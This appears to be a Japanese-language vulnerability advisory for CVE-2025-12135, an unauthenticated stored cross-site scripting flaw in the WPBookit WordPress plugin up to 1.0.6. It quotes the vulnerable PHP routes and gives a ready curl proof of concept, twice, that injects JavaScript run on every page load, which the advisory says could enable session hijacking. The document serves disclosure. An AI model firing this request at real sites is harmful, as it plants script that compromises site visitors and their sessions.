WPBookit <= 1.0.6 - 未認証の保存型クロスサイトスクリプティング

WPBookit プラグインは、save_custome_code AJAXエンドポイントにおいてユーザーの権限を検証せず、カスタムCSS/JSコードをサニタイズしないため、未認証の攻撃者が任意のJavaScriptを注入でき、そのJavaScriptはすべてのページ読み込み時に実行されるため、保存型XSSやセッションハイジャックの可能性が生じます。

TL;DR エクスプロイト

# Basic XSS injection
curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

詳細

この脆弱性は、WPB_Setting_Controller クラスの save_custome_code メソッドに存在します。プラグインは未認証ユーザー向けにAJAXエンドポイントを登録しているため、任意の訪問者がカスタムCSS/JSコードを注入でき、それがすべてのページ読み込み時に実行されます。

脆弱なコード（/core/admin/classes/controllers/class.wpb-setting-controller.php:16-25）:

public function save_custome_code(WP_REST_Request $request){
    $css_code= $request->get_param('css_code');
    $js_code= $request->get_param('js_code');
    update_option( 'wpb_custom_code_data', [  'css_code' => $css_code,  'js_code' => $js_code ]);
}

コード実行（/core/shortcodes/class-wpbookit-shortcode-abstract.php:20-27）:

$wpb_custom_code= get_option( 'wpb_custom_code_data', [  'css_code' => '',  'js_code' => '' ]);

wp_add_inline_style( 'wpb-custom-code-css', stripslashes($wpb_custom_code['css_code']));
wp_add_inline_script( 'wpb-custom-code-js', stripslashes($wpb_custom_code['js_code']) );

未認証アクセス（/core/admin/classes/class.wpb-admin-routes-handler.php:15-16）:

add_action( "wp_ajax_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );
add_action( "wp_ajax_nopriv_wpb_ajax_post", [ $this, 'wpb_ajax_post' ] );

ルート設定（/core/admin/classes/class.wpb-admin-routes.php:118-123）:

'save_custome_code' => [
    'method' => 'post',
    'action' => 'WPB_Setting_Controller@save_custome_code',
    'nonce' => 0,
    'module' => 'setting-controller'
],

手動での再現手順

ターゲットの特定: WPBookitプラグインがインストールされているサイトを特定する
悪意のあるJavaScriptを注入:

curl -X POST "http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&route_name=save_custome_code" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "css_code=/* malicious */&js_code=alert('XSS');"

注入の確認 - サイト上の任意のページにアクセスすると、アラートが実行されます
永続性の確認 - 悪意のあるコードはデータベースに保存され、すべてのページ読み込み時に実行されます

CVE-2025-12135

人気